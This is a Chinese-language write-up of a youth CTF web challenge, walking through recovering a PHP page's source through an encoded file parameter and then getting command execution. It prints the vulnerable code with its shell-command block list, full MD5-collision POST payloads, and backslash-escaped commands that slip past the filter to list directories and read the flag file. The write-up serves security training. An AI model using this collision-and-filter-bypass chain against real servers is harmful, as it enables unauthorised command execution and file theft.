CTF每日练习之Web狗“杯微”叹息

青少年CTF每日练习

easy_web之Web狗“杯微”叹息

  • 青少年CTF每日练习


传送门
青少年CTF训练平台

1.先搭建环境,直接点击题目链接
CTF每日练习之Web狗“杯微”叹息_第1张图片
2.可以看到页面
CTF每日练习之Web狗“杯微”叹息_第2张图片
3.
查看源码,这里有一大堆蓝色的,经过base64编码的,
直接进行base64解码,发现解码后的就是url中的img=TXpVek5UTTFNbVUzTURabE5qYz0,对TXpVek5UTTFNbVUzTURabE5qYz0进行解码,

CTF每日练习之Web狗“杯微”叹息_第3张图片
4.对TXpVek5UTTFNbVUzTURabE5qYz0进行了两次base64解码和一次Hex解码得到555.png,反其道而行之,可以得到index.php的源码
CTF每日练习之Web狗“杯微”叹息_第4张图片
5.对index.php先进行HEX编码,在进行两次base64编码

CTF每日练习之Web狗“杯微”叹息_第5张图片

CTF每日练习之Web狗“杯微”叹息_第6张图片
6.对URL替换为img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,
CTF每日练习之Web狗“杯微”叹息_第7张图片
7.蓝色为index.php的源码,进行解码,得到源码进行分析
CTF每日练习之Web狗“杯微”叹息_第8张图片
代码审计

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"
; } echo $cmd; echo "
"
; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"
; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>

分析:

- 第1行:设置错误报告级别为除了 E_NOTICE 之外的所有错误。
- 第2行:设置响应头的内容类型和字符集为 utf-8。
- 第3行:通过 `$_GET` 超全局变量获取名为 "cmd" 的参数值。
- 第4-6行:检查是否存在 "img""cmd" 参数,如果其中一个参数不存在,则重定向到 "./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=" 页面。
- 第7行:使用两次 base64 解码和 hex 解码操作将 "img" 参数的值还原为文件路径。
- 第9行:使用正则表达式去除文件路径中的非法字符,只保留字母、数字和点符号。
- 第10-12行:如果文件路径中包含 "flag"(不区分大小写)字符串,则输出一张图片并终止程序执行。
- 第13-15行:否则,将文件读取为二进制数据,并将其以 base64 编码的形式嵌入到 HTML 页面中作为图片展示。
- 第17行:输出 "cmd" 参数的值。
- 第20-31行:使用正则表达式匹配 "cmd" 参数中是否包含禁止执行的命令,如果匹配成功,则输出 "forbid ~"。
- 第33-38行:如果 "cmd" 参数通过了禁止命令的正则表达式检查,接下来对比两个 POST 参数 "a""b" 是否相等,以及它们的 MD5 哈希值是否相等。如果两者均满足条件,则执行 `cmd` 命令并输出结果。
- 第40-43行:否则,输出 "md5 is funny ~"

注意:

使用MD5强碰撞

  1. (string)$_POST['a'] !== (string)$_POST['b']:确保 POST 请求中名为 “a” 的参数值与名为 “b” 的参数值不相等。注意,(string) 强制将参数值转换为字符串类型以进行比较。

  2. md5($_POST['a']) === md5($_POST['b']):检查 POST 请求中名为 “a” 和 “b” 的参数值的 MD5 哈希值是否相等。

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
a = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
b = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab";

8.抓包,注意事post请求
CTF每日练习之Web狗“杯微”叹息_第9张图片

9.命令执行,找到flagCTF每日练习之Web狗“杯微”叹息_第10张图片
命令执行 cmd=l\s%20…/…/…/ 看到了flag
CTF每日练习之Web狗“杯微”叹息_第11张图片
打开flag文件 ?cmd=ca\t%20…/…/…/flag ,结束
CTF每日练习之Web狗“杯微”叹息_第12张图片

你可能感兴趣的:(CTF,web安全)